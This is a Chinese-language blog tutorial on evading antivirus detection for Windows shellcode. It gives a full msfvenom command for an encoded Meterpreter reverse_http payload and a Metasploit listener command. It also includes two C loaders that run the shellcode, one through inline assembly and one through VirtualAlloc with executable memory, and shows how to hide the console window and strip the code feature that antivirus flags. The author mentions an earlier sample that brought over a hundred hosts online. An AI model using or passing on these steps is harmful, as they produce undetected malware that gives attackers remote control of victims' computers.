1. 前言

 经常看到各种免杀的例子，源码免杀、二进制免杀、加载器免杀等等，最近学习了一下源码层面的免杀，在实验过程中与杀软对抗最终成功免杀，写下本文做个记录。

2. shellcode生成和二进制文件编译

  开始前有个小插曲，用360扫了扫之前编译的样本，当时v站查杀率1/72(提交到v站后cs一共上线了107台主机，emm)：

今天扫描的时候：

啊… Q哒不妞Q(Qwq)

好了不说了，进入正题，首先我们使用msfvenom生成C语言shellcode:

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_http -e x86/shikata_ga_nai -i 12 -b '\x00' LHOST=192.168.8.102 LPORT=6666 -f c

然后网上找了一段C语言加载shellcode的代码。。通过内联汇编加载shellcode：

#include<stdio.h>
#include<windows.h>
#pragma comment(linker, "/OPT:nowin98")
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//不显示窗口
unsigned char buf[] ="shellcode";
int main(int argc,char const *argv[])
{
    //内联汇编
    __asm   
    {
        lea eax,buf;   
        call eax;   
    }
}

话不多说，先编译上线测试，启动msf监听：

handler -p windows/meterpreter/reverse_http -H 0.0.0.0 -P 6666

另一边编译源码，生成exe:

双击执行exe,msf上线：

执行过程发现没有被拦截，看起来这已经免杀了：

好的，免杀成功，本文结束。

3. VS免杀测试

  结束是不可能结束的，不然怎么混篇幅，只能换个不免杀的编译器，被杀了再随便改改源码这样子。
  用VS2019来编译源码，启动vs:

是吧，被发现了，我们将恶意代码全部删除后编译，发现还是被杀：

emmm? 怎么办啊，这都杀!? 其实有朋友应该注意到了下面这段代码，好吧 ，我是故意没删的，因为特征就是在这：

#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"") 

接下来将这段代码删除，重新生成exe，然后进行扫描，发现成功过了杀软:

vs编译的这个内联加载不能正常上线，修改下加载方法：

#include<stdio.h>
#include<windows.h>
#include <time.h>
int main(int argc, char const* argv[])
{    
unsigned char buf[] ="shellcode";
    void* exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, buf, sizeof buf);
    ((void(*)())exec)();
    return 0;
}

那么编译执行后会有个DOS窗口：

这里我们ShowWindow函数来隐藏窗体：

需要两个参数，一个是程序窗口句柄，可以通过GetConsoleWindow 来获得当前窗口句柄，另一个是int类型的nCmdShow，来控制窗口的状态，这里使用SW_HIDE来隐藏窗口：

ShowWindow(GetConsoleWindow(), SW_HIDE);

然后再编译执行和免杀测试，可以看到免杀且无窗口：

4. 参考

https://www.zhihu.com/question/282945808
https://blog.csdn.net/zac_sian/article/details/46778285
https://docs.microsoft.com/en-us/windows/console/getconsolewindow
https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-showwindow